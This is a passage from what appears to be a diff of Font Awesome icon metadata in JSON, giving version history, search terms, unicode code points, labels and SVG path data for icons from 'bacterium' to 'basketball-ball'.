7.86,0,0,0,16.32,10.58A18.14,18.14,0,0,0,272.35,226.4ZM128,256a32,32,0,1,1,32-32A32,32,0,0,1,128,256Zm80-96a16,16,0,1,1,16-16A16,16,0,0,1,208,160Zm431.26,45.3a17.79,17.79,0,0,0-17.06-12.69,17.55,17.55,0,0,0-5.08.74l-11.27,3.33a83.61,83.61,0,0,0-36.39-35.43l2.88-11.06a17.81,17.81,0,0,0-34.48-8.91l-2.87,11c-1,0-2.07-.26-3.1-.26a83.32,83.32,0,0,0-45.65,13.89l-8.59-8.81a17.77,17.77,0,0,0-25.56,24.7l9.14,9.37a83.28,83.28,0,0,0-12.08,31.06,119.34,119.34,0,0,1-3.87,15.52l-9-4.22a17.74,17.74,0,1,0-15.15,32.09l8.8,4.11c-.67,1-1.2,2.08-1.89,3.05a117.71,117.71,0,0,1-7.94,9.47,119,119,0,0,1-11.57,11.33,121.59,121.59,0,0,1-10,7.83c-1.12.77-2.32,1.42-3.47,2.15l-3.92-8.85a17.86,17.86,0,0,0-16.32-10.58,18.14,18.14,0,0,0-7.18,1.5A17.71,17.71,0,0,0,358.54,309l4,9.08a118.71,118.71,0,0,1-12.36,3.08,83.34,83.34,0,0,0-33.77,13.9l-10-9a17.77,17.77,0,1,0-23.92,26.28l9.72,8.75a83.12,83.12,0,0,0-11.65,48.18l-11.86,3.51a17.73,17.73,0,1,0,10.16,34l11.34-3.36A84,84,0,0,0,326.61,479l-2.84,10.85a17.8,17.8,0,0,0,34.47,8.93L361.06,488a83.3,83.3,0,0,0,16.74-1.1c11.37-1.89,22.24-5.07,33.1-8.24l3.38,9.46a17.8,17.8,0,0,0,33.56-11.89l-3.49-9.79a287.66,287.66,0,0,0,43.94-23.58l6.32,8.43a17.88,17.88,0,0,0,24.93,3.6A17.67,17.67,0,0,0,523.16,430l-6.45-8.61a287.37,287.37,0,0,0,34.95-35.34l8.82,6.42a17.76,17.76,0,1,0,21-28.63l-8.88-6.46a287.17,287.17,0,0,0,23-43.92l10.48,3.59a17.73,17.73,0,1,0,11.59-33.52L607.33,280c2.79-10,5.79-19.84,7.52-30.21a83.27,83.27,0,0,0,.82-19.05l11.58-3.43A17.7,17.7,0,0,0,639.26,205.3ZM416,416a32,32,0,1,1,32-32A32,32,0,0,1,416,416Z" + } + }, + "free": [ + "solid" + ] + }, + "bacterium": { + "changes": [ + "5.13.0", + "5.13.1", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "antibiotic", + "antibody", + "covid-19", + "health", + "organism", + "sick" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e05a", + "label": "Bacterium", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635324, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M511,102.93A23.76,23.76,0,0,0,481.47,87l-15.12,4.48a111.85,111.85,0,0,0-48.5-47.42l3.79-14.47a23.74,23.74,0,0,0-46-11.91l-3.76,14.37a111.94,111.94,0,0,0-22.33,1.47,386.74,386.74,0,0,0-44.33,10.41l-4.3-12a23.74,23.74,0,0,0-44.75,15.85l4.3,12.05a383.4,383.4,0,0,0-58.69,31.83l-8-10.63a23.85,23.85,0,0,0-33.24-4.8,23.57,23.57,0,0,0-4.83,33.09l8,10.63a386.14,386.14,0,0,0-46.7,47.44l-11-8a23.68,23.68,0,1,0-28,38.17l11.09,8.06a383.45,383.45,0,0,0-30.92,58.75l-12.93-4.43a23.65,23.65,0,1,0-15.47,44.69l13,4.48a385.81,385.81,0,0,0-9.3,40.53A111.58,111.58,0,0,0,32.44,375L17,379.56a23.64,23.64,0,0,0,13.51,45.31l15-4.44a111.49,111.49,0,0,0,48.53,47.24l-3.85,14.75a23.66,23.66,0,0,0,17,28.83,24.7,24.7,0,0,0,6,.75,23.73,23.73,0,0,0,23-17.7L140,479.67c1.37.05,2.77.35,4.13.35A111.22,111.22,0,0,0,205,461.5l11.45,11.74a23.7,23.7,0,0,0,34.08-32.93l-12.19-12.5a111,111,0,0,0,16.11-41.4,158.69,158.69,0,0,1,5.16-20.71l12,5.64a23.66,23.66,0,1,0,20.19-42.79l-11.72-5.49c.89-1.32,1.59-2.77,2.52-4.06a157.86,157.86,0,0,1,10.46-12.49,159.5,159.5,0,0,1,15.59-15.28,162.18,162.18,0,0,1,13.23-10.4c1.5-1,3.1-1.89,4.63-2.87l5.23,11.8a23.74,23.74,0,0,0,43.48-19.08l-5.36-12.11a158.87,158.87,0,0,1,16.49-4.1,111,111,0,0,0,45-18.54l13.33,12a23.69,23.69,0,1,0,31.88-35l-12.94-11.67A110.83,110.83,0,0,0,479.21,137L495,132.32A23.61,23.61,0,0,0,511,102.93ZM160,368a48,48,0,1,1,48-48A48,48,0,0,1,160,368Zm80-136a24,24,0,1,1,24-24A24,24,0,0,1,240,232Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M511,102.93A23.76,23.76,0,0,0,481.47,87l-15.12,4.48a111.85,111.85,0,0,0-48.5-47.42l3.79-14.47a23.74,23.74,0,0,0-46-11.91l-3.76,14.37a111.94,111.94,0,0,0-22.33,1.47,386.74,386.74,0,0,0-44.33,10.41l-4.3-12a23.74,23.74,0,0,0-44.75,15.85l4.3,12.05a383.4,383.4,0,0,0-58.69,31.83l-8-10.63a23.85,23.85,0,0,0-33.24-4.8,23.57,23.57,0,0,0-4.83,33.09l8,10.63a386.14,386.14,0,0,0-46.7,47.44l-11-8a23.68,23.68,0,1,0-28,38.17l11.09,8.06a383.45,383.45,0,0,0-30.92,58.75l-12.93-4.43a23.65,23.65,0,1,0-15.47,44.69l13,4.48a385.81,385.81,0,0,0-9.3,40.53A111.58,111.58,0,0,0,32.44,375L17,379.56a23.64,23.64,0,0,0,13.51,45.31l15-4.44a111.49,111.49,0,0,0,48.53,47.24l-3.85,14.75a23.66,23.66,0,0,0,17,28.83,24.7,24.7,0,0,0,6,.75,23.73,23.73,0,0,0,23-17.7L140,479.67c1.37.05,2.77.35,4.13.35A111.22,111.22,0,0,0,205,461.5l11.45,11.74a23.7,23.7,0,0,0,34.08-32.93l-12.19-12.5a111,111,0,0,0,16.11-41.4,158.69,158.69,0,0,1,5.16-20.71l12,5.64a23.66,23.66,0,1,0,20.19-42.79l-11.72-5.49c.89-1.32,1.59-2.77,2.52-4.06a157.86,157.86,0,0,1,10.46-12.49,159.5,159.5,0,0,1,15.59-15.28,162.18,162.18,0,0,1,13.23-10.4c1.5-1,3.1-1.89,4.63-2.87l5.23,11.8a23.74,23.74,0,0,0,43.48-19.08l-5.36-12.11a158.87,158.87,0,0,1,16.49-4.1,111,111,0,0,0,45-18.54l13.33,12a23.69,23.69,0,1,0,31.88-35l-12.94-11.67A110.83,110.83,0,0,0,479.21,137L495,132.32A23.61,23.61,0,0,0,511,102.93ZM160,368a48,48,0,1,1,48-48A48,48,0,0,1,160,368Zm80-136a24,24,0,1,1,24-24A24,24,0,0,1,240,232Z" + } + }, + "free": [ + "solid" + ] + }, + "bahai": { + "changes": [ + "5.3.0", + "5.12.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bahai", + "bahá'í", + "star" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f666", + "label": "Bahá'í", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635327, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M496.25 202.52l-110-15.44 41.82-104.34c6.67-16.64-11.6-32.18-26.59-22.63L307.44 120 273.35 12.82C270.64 4.27 263.32 0 256 0c-7.32 0-14.64 4.27-17.35 12.82l-34.09 107.19-94.04-59.89c-14.99-9.55-33.25 5.99-26.59 22.63l41.82 104.34-110 15.43c-17.54 2.46-21.68 26.27-6.03 34.67l98.16 52.66-74.48 83.54c-10.92 12.25-1.72 30.93 13.29 30.93 1.31 0 2.67-.14 4.07-.45l108.57-23.65-4.11 112.55c-.43 11.65 8.87 19.22 18.41 19.22 5.15 0 10.39-2.21 14.2-7.18l68.18-88.9 68.18 88.9c3.81 4.97 9.04 7.18 14.2 7.18 9.54 0 18.84-7.57 18.41-19.22l-4.11-112.55 108.57 23.65c17.36 3.76 29.21-17.2 17.35-30.49l-74.48-83.54 98.16-52.66c15.64-8.39 11.5-32.2-6.04-34.66zM338.51 311.68l-51.89-11.3 1.97 53.79L256 311.68l-32.59 42.49 1.96-53.79-51.89 11.3 35.6-39.93-46.92-25.17 52.57-7.38-19.99-49.87 44.95 28.62L256 166.72l16.29 51.23 44.95-28.62-19.99 49.87 52.57 7.38-46.92 25.17 35.61 39.93z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M496.25 202.52l-110-15.44 41.82-104.34c6.67-16.64-11.6-32.18-26.59-22.63L307.44 120 273.35 12.82C270.64 4.27 263.32 0 256 0c-7.32 0-14.64 4.27-17.35 12.82l-34.09 107.19-94.04-59.89c-14.99-9.55-33.25 5.99-26.59 22.63l41.82 104.34-110 15.43c-17.54 2.46-21.68 26.27-6.03 34.67l98.16 52.66-74.48 83.54c-10.92 12.25-1.72 30.93 13.29 30.93 1.31 0 2.67-.14 4.07-.45l108.57-23.65-4.11 112.55c-.43 11.65 8.87 19.22 18.41 19.22 5.15 0 10.39-2.21 14.2-7.18l68.18-88.9 68.18 88.9c3.81 4.97 9.04 7.18 14.2 7.18 9.54 0 18.84-7.57 18.41-19.22l-4.11-112.55 108.57 23.65c17.36 3.76 29.21-17.2 17.35-30.49l-74.48-83.54 98.16-52.66c15.64-8.39 11.5-32.2-6.04-34.66zM338.51 311.68l-51.89-11.3 1.97 53.79L256 311.68l-32.59 42.49 1.96-53.79-51.89 11.3 35.6-39.93-46.92-25.17 52.57-7.38-19.99-49.87 44.95 28.62L256 166.72l16.29 51.23 44.95-28.62-19.99 49.87 52.57 7.38-46.92 25.17 35.61 39.93z" + } + }, + "free": [ + "solid" + ] + }, + "balance-scale": { + "changes": [ + "4.4", + "5.0.0", + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "balanced", + "justice", + "legal", + "measure", + "weight" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f24e", + "label": "Balance Scale", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635327, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M256 336h-.02c0-16.18 1.34-8.73-85.05-181.51-17.65-35.29-68.19-35.36-85.87 0C-2.06 328.75.02 320.33.02 336H0c0 44.18 57.31 80 128 80s128-35.82 128-80zM128 176l72 144H56l72-144zm511.98 160c0-16.18 1.34-8.73-85.05-181.51-17.65-35.29-68.19-35.36-85.87 0-87.12 174.26-85.04 165.84-85.04 181.51H384c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02zM440 320l72-144 72 144H440zm88 128H352V153.25c23.51-10.29 41.16-31.48 46.39-57.25H528c8.84 0 16-7.16 16-16V48c0-8.84-7.16-16-16-16H383.64C369.04 12.68 346.09 0 320 0s-49.04 12.68-63.64 32H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h129.61c5.23 25.76 22.87 46.96 46.39 57.25V448H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M256 336h-.02c0-16.18 1.34-8.73-85.05-181.51-17.65-35.29-68.19-35.36-85.87 0C-2.06 328.75.02 320.33.02 336H0c0 44.18 57.31 80 128 80s128-35.82 128-80zM128 176l72 144H56l72-144zm511.98 160c0-16.18 1.34-8.73-85.05-181.51-17.65-35.29-68.19-35.36-85.87 0-87.12 174.26-85.04 165.84-85.04 181.51H384c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02zM440 320l72-144 72 144H440zm88 128H352V153.25c23.51-10.29 41.16-31.48 46.39-57.25H528c8.84 0 16-7.16 16-16V48c0-8.84-7.16-16-16-16H383.64C369.04 12.68 346.09 0 320 0s-49.04 12.68-63.64 32H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h129.61c5.23 25.76 22.87 46.96 46.39 57.25V448H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "balance-scale-left": { + "changes": [ + "5.0.13", + "5.9.0", + "5.12.0" + ], + "ligatures": [], + "search": { + "terms": [ + "justice", + "legal", + "measure", + "unbalanced", + "weight" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f515", + "label": "Balance Scale (Left-Weighted)", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635327, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M528 448H352V153.25c20.42-8.94 36.1-26.22 43.38-47.47l132-44.26c8.38-2.81 12.89-11.88 10.08-20.26l-10.17-30.34C524.48 2.54 515.41-1.97 507.03.84L389.11 40.37C375.3 16.36 349.69 0 320 0c-44.18 0-80 35.82-80 80 0 3.43.59 6.71 1.01 10.03l-128.39 43.05c-8.38 2.81-12.89 11.88-10.08 20.26l10.17 30.34c2.81 8.38 11.88 12.89 20.26 10.08l142.05-47.63c4.07 2.77 8.43 5.12 12.99 7.12V496c0 8.84 7.16 16 16 16h224c8.84 0 16-7.16 16-16v-32c-.01-8.84-7.17-16-16.01-16zm111.98-144c0-16.18 1.34-8.73-85.05-181.51-17.65-35.29-68.19-35.36-85.87 0-87.12 174.26-85.04 165.84-85.04 181.51H384c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02zM440 288l72-144 72 144H440zm-269.07-37.51c-17.65-35.29-68.19-35.36-85.87 0C-2.06 424.75.02 416.33.02 432H0c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02c0-16.18 1.34-8.73-85.05-181.51zM56 416l72-144 72 144H56z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M528 448H352V153.25c20.42-8.94 36.1-26.22 43.38-47.47l132-44.26c8.38-2.81 12.89-11.88 10.08-20.26l-10.17-30.34C524.48 2.54 515.41-1.97 507.03.84L389.11 40.37C375.3 16.36 349.69 0 320 0c-44.18 0-80 35.82-80 80 0 3.43.59 6.71 1.01 10.03l-128.39 43.05c-8.38 2.81-12.89 11.88-10.08 20.26l10.17 30.34c2.81 8.38 11.88 12.89 20.26 10.08l142.05-47.63c4.07 2.77 8.43 5.12 12.99 7.12V496c0 8.84 7.16 16 16 16h224c8.84 0 16-7.16 16-16v-32c-.01-8.84-7.17-16-16.01-16zm111.98-144c0-16.18 1.34-8.73-85.05-181.51-17.65-35.29-68.19-35.36-85.87 0-87.12 174.26-85.04 165.84-85.04 181.51H384c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02zM440 288l72-144 72 144H440zm-269.07-37.51c-17.65-35.29-68.19-35.36-85.87 0C-2.06 424.75.02 416.33.02 432H0c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02c0-16.18 1.34-8.73-85.05-181.51zM56 416l72-144 72 144H56z" + } + }, + "free": [ + "solid" + ] + }, + "balance-scale-right": { + "changes": [ + "5.0.13", + "5.9.0", + "5.12.0" + ], + "ligatures": [], + "search": { + "terms": [ + "justice", + "legal", + "measure", + "unbalanced", + "weight" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f516", + "label": "Balance Scale (Right-Weighted)", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635327, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M96 464v32c0 8.84 7.16 16 16 16h224c8.84 0 16-7.16 16-16V153.25c4.56-2 8.92-4.35 12.99-7.12l142.05 47.63c8.38 2.81 17.45-1.71 20.26-10.08l10.17-30.34c2.81-8.38-1.71-17.45-10.08-20.26l-128.4-43.05c.42-3.32 1.01-6.6 1.01-10.03 0-44.18-35.82-80-80-80-29.69 0-55.3 16.36-69.11 40.37L132.96.83c-8.38-2.81-17.45 1.71-20.26 10.08l-10.17 30.34c-2.81 8.38 1.71 17.45 10.08 20.26l132 44.26c7.28 21.25 22.96 38.54 43.38 47.47V448H112c-8.84 0-16 7.16-16 16zM0 304c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02c0-15.67 2.08-7.25-85.05-181.51-17.68-35.36-68.22-35.29-85.87 0C-1.32 295.27.02 287.82.02 304H0zm56-16l72-144 72 144H56zm328.02 144H384c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02c0-15.67 2.08-7.25-85.05-181.51-17.68-35.36-68.22-35.29-85.87 0-86.38 172.78-85.04 165.33-85.04 181.51zM440 416l72-144 72 144H440z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M96 464v32c0 8.84 7.16 16 16 16h224c8.84 0 16-7.16 16-16V153.25c4.56-2 8.92-4.35 12.99-7.12l142.05 47.63c8.38 2.81 17.45-1.71 20.26-10.08l10.17-30.34c2.81-8.38-1.71-17.45-10.08-20.26l-128.4-43.05c.42-3.32 1.01-6.6 1.01-10.03 0-44.18-35.82-80-80-80-29.69 0-55.3 16.36-69.11 40.37L132.96.83c-8.38-2.81-17.45 1.71-20.26 10.08l-10.17 30.34c-2.81 8.38 1.71 17.45 10.08 20.26l132 44.26c7.28 21.25 22.96 38.54 43.38 47.47V448H112c-8.84 0-16 7.16-16 16zM0 304c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02c0-15.67 2.08-7.25-85.05-181.51-17.68-35.36-68.22-35.29-85.87 0C-1.32 295.27.02 287.82.02 304H0zm56-16l72-144 72 144H56zm328.02 144H384c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02c0-15.67 2.08-7.25-85.05-181.51-17.68-35.36-68.22-35.29-85.87 0-86.38 172.78-85.04 165.33-85.04 181.51zM440 416l72-144 72 144H440z" + } + }, + "free": [ + "solid" + ] + }, + "ban": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "abort", + "ban", + "block", + "cancel", + "delete", + "hide", + "prohibit", + "remove", + "stop", + "trash" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f05e", + "label": "ban", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635329, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8C119.034 8 8 119.033 8 256s111.034 248 248 248 248-111.034 248-248S392.967 8 256 8zm130.108 117.892c65.448 65.448 70 165.481 20.677 235.637L150.47 105.216c70.204-49.356 170.226-44.735 235.638 20.676zM125.892 386.108c-65.448-65.448-70-165.481-20.677-235.637L361.53 406.784c-70.203 49.356-170.226 44.736-235.638-20.676z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 8C119.034 8 8 119.033 8 256s111.034 248 248 248 248-111.034 248-248S392.967 8 256 8zm130.108 117.892c65.448 65.448 70 165.481 20.677 235.637L150.47 105.216c70.204-49.356 170.226-44.735 235.638 20.676zM125.892 386.108c-65.448-65.448-70-165.481-20.677-235.637L361.53 406.784c-70.203 49.356-170.226 44.736-235.638-20.676z" + } + }, + "free": [ + "solid" + ] + }, + "band-aid": { + "changes": [ + "5.0.7", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "bandage", + "boo boo", + "first aid", + "ouch" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f462", + "label": "Band-Aid", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635329, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 160v192c0 35.3 28.7 64 64 64h96V96H64c-35.3 0-64 28.7-64 64zm576-64h-96v320h96c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64zM192 416h256V96H192v320zm176-232c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm0 96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm-96-96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm0 96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M0 160v192c0 35.3 28.7 64 64 64h96V96H64c-35.3 0-64 28.7-64 64zm576-64h-96v320h96c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64zM192 416h256V96H192v320zm176-232c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm0 96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm-96-96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm0 96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24z" + } + }, + "free": [ + "solid" + ] + }, + "bandcamp": { + "changes": [ + "4.7", + "5.0.0", + "5.13.1" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f2d5", + "label": "Bandcamp", + "voted": false, + "svg": { + "brands": { + "last_modified": 1599860539197, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8Zm48.2,326.1h-181L207.9,178h181Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8Zm48.2,326.1h-181L207.9,178h181Z" + } + }, + "free": [ + "brands" + ] + }, + "barcode": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "info", + "laser", + "price", + "scan", + "upc" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f02a", + "label": "barcode", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635330, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 448V64h18v384H0zm26.857-.273V64H36v383.727h-9.143zm27.143 0V64h8.857v383.727H54zm44.857 0V64h8.857v383.727h-8.857zm36 0V64h17.714v383.727h-17.714zm44.857 0V64h8.857v383.727h-8.857zm18 0V64h8.857v383.727h-8.857zm18 0V64h8.857v383.727h-8.857zm35.715 0V64h18v383.727h-18zm44.857 0V64h18v383.727h-18zm35.999 0V64h18.001v383.727h-18.001zm36.001 0V64h18.001v383.727h-18.001zm26.857 0V64h18v383.727h-18zm45.143 0V64h26.857v383.727h-26.857zm35.714 0V64h9.143v383.727H476zm18 .273V64h18v384h-18z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M0 448V64h18v384H0zm26.857-.273V64H36v383.727h-9.143zm27.143 0V64h8.857v383.727H54zm44.857 0V64h8.857v383.727h-8.857zm36 0V64h17.714v383.727h-17.714zm44.857 0V64h8.857v383.727h-8.857zm18 0V64h8.857v383.727h-8.857zm18 0V64h8.857v383.727h-8.857zm35.715 0V64h18v383.727h-18zm44.857 0V64h18v383.727h-18zm35.999 0V64h18.001v383.727h-18.001zm36.001 0V64h18.001v383.727h-18.001zm26.857 0V64h18v383.727h-18zm45.143 0V64h26.857v383.727h-26.857zm35.714 0V64h9.143v383.727H476zm18 .273V64h18v384h-18z" + } + }, + "free": [ + "solid" + ] + }, + "bars": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "checklist", + "drag", + "hamburger", + "list", + "menu", + "nav", + "navigation", + "ol", + "reorder", + "settings", + "todo", + "ul" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0c9", + "label": "Bars", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635331, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M16 132h416c8.837 0 16-7.163 16-16V76c0-8.837-7.163-16-16-16H16C7.163 60 0 67.163 0 76v40c0 8.837 7.163 16 16 16zm0 160h416c8.837 0 16-7.163 16-16v-40c0-8.837-7.163-16-16-16H16c-8.837 0-16 7.163-16 16v40c0 8.837 7.163 16 16 16zm0 160h416c8.837 0 16-7.163 16-16v-40c0-8.837-7.163-16-16-16H16c-8.837 0-16 7.163-16 16v40c0 8.837 7.163 16 16 16z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M16 132h416c8.837 0 16-7.163 16-16V76c0-8.837-7.163-16-16-16H16C7.163 60 0 67.163 0 76v40c0 8.837 7.163 16 16 16zm0 160h416c8.837 0 16-7.163 16-16v-40c0-8.837-7.163-16-16-16H16c-8.837 0-16 7.163-16 16v40c0 8.837 7.163 16 16 16zm0 160h416c8.837 0 16-7.163 16-16v-40c0-8.837-7.163-16-16-16H16c-8.837 0-16 7.163-16 16v40c0 8.837 7.163 16 16 16z" + } + }, + "free": [ + "solid" + ] + }, + "baseball-ball": { + "changes": [ + "5.0.5", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "foul", + "hardball", + "league", + "leather", + "mlb", + "softball", + "sport" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f433", + "label": "Baseball Ball", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635331, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M368.5 363.9l28.8-13.9c11.1 22.9 26 43.2 44.1 60.9 34-42.5 54.5-96.3 54.5-154.9 0-58.5-20.4-112.2-54.2-154.6-17.8 17.3-32.6 37.1-43.6 59.5l-28.7-14.1c12.8-26 30-49 50.8-69C375.6 34.7 315 8 248 8 181.1 8 120.5 34.6 75.9 77.7c20.7 19.9 37.9 42.9 50.7 68.8l-28.7 14.1c-11-22.3-25.7-42.1-43.5-59.4C20.4 143.7 0 197.4 0 256c0 58.6 20.4 112.3 54.4 154.7 18.2-17.7 33.2-38 44.3-61l28.8 13.9c-12.9 26.7-30.3 50.3-51.5 70.7 44.5 43.1 105.1 69.7 172 69.7 66.8 0 127.3-26.5 171.9-69.5-21.1-20.4-38.5-43.9-51.4-70.6zm-228.3-32l-30.5-9.8c14.9-46.4 12.7-93.8-.6-134l30.4-10c15 45.6 18 99.9.7 153.8zm216.3-153.4l30.4 10c-13.2 40.1-15.5 87.5-.6 134l-30.5 9.8c-17.3-54-14.3-108.3.7-153.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M368.5 363.9l28.8-13.9c11.1 22.9 26 43.2 44.1 60.9 34-42.5 54.5-96.3 54.5-154.9 0-58.5-20.4-112.2-54.2-154.6-17.8 17.3-32.6 37.1-43.6 59.5l-28.7-14.1c12.8-26 30-49 50.8-69C375.6 34.7 315 8 248 8 181.1 8 120.5 34.6 75.9 77.7c20.7 19.9 37.9 42.9 50.7 68.8l-28.7 14.1c-11-22.3-25.7-42.1-43.5-59.4C20.4 143.7 0 197.4 0 256c0 58.6 20.4 112.3 54.4 154.7 18.2-17.7 33.2-38 44.3-61l28.8 13.9c-12.9 26.7-30.3 50.3-51.5 70.7 44.5 43.1 105.1 69.7 172 69.7 66.8 0 127.3-26.5 171.9-69.5-21.1-20.4-38.5-43.9-51.4-70.6zm-228.3-32l-30.5-9.8c14.9-46.4 12.7-93.8-.6-134l30.4-10c15 45.6 18 99.9.7 153.8zm216.3-153.4l30.4 10c-13.2 40.1-15.5 87.5-.6 134l-30.5 9.8c-17.3-54-14.3-108.3.7-153.8z" + } + }, + "free": [ + "solid" + ] + }, + "basketball-ball": { + "changes": [ + "5.0.5", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "dribble", + "dunk", + "hoop", + "nba" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f434", + "label": "Basketball Ball", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635331, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M212.3 10.3c-43.8 6.3-86.2 24.1-122.2 53.8l77.4 77.4c27.8-35.8 43.3-81.2 44.8-131.2zM248 222L405.9 64.1c-42.4-35-93.6-53.5-145.5-56.1-1.2 63.9-21.5 122.3-58.7 167.7L248 222zM56.1 98.1c-29.7 36-47.5 78.4-53.8 122.2 50-1.5 95.5-17 131.2-44.8L56.1 98.1zm272.2 204.2c45.3-37.1 103.7-57.4 167.7-58.7-2.6-51.9-21.1-103.1-56.1-145.5L282 256l46.3 46.3zM248 290L90.1 447.9c42.4 34.9 93.6 53.5 145.5 56.1 1.3-64 21.6-122.4 58.7-167.7L248 290zm191.9 123.9c29.7-36 47.5-78.4 53.8-122.2-50.1 1.6-95.5 17.1-131.2 44.8l77.4 77.4zM167.7 209.7C122.3 246.9 63.9 267.3 0 268.4c2.6 51.9 21.1 103.1 56.1 145.5L214 256l-46.3-46.3zm116 292c43.8-6.3 86.2-24.1 122.2-53.8l-77.4-77.4c-27.7 35.7-43.2 81.2-44.8 131.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M212.3 10.3c-43.8 6.3-86.2 24.1-122.2 53.8l77.4 77.4c27.8-35.8 